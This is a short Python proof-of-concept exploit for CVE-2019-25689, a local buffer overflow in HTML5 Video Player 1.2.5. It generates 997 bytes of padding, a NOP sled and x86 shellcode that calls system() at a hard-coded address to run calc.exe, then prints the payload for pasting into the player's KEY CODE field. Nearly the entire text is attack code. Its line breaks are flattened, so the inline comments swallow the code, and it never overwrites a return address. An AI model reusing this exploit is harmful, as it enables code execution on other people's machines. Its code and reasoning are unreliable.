CVE-2019-25689 HTML5 Video Player本地缓冲区溢出漏洞

import sys # PoC for CVE-2019-25689 # Description: HTML5 Video Player 1.2.5 Local Buffer Overflow # Trigger: Paste payload into KEY CODE field in Help Register dialog # Payload length must exceed 997 bytes def generate_poc(): # Calc.exe shellcode (Windows x86) # Executes: calc.exe shellcode = ( "\x31\xC9" # xor ecx, ecx "\x51" # push ecx "\x68\x63\x61\x6C\x63" # push 'calc' "\x54" # push dword ptr esp "\xB8\xC7\x93\xC2\x77" # mov eax, 0x77C293C7 (system() address from msvcrt.dll) "\xFF\xD0" # call eax ) # Offset to overwrite the return address or trigger the overflow # Based on description, overflow occurs after 997 bytes offset = 997 padding = "A" * offset # Construct the full payload # Padding + NOPsled (optional) + Shellcode payload = padding + "\x90" * 32 + shellcode return payload if __name__ == "__main__": print("[+] Generating PoC payload for CVE-2019-25689...") payload = generate_poc() print("[+] Payload length: {}".format(len(payload))) print("[+] Copy the content below and paste it into the KEY CODE field:") print(payload)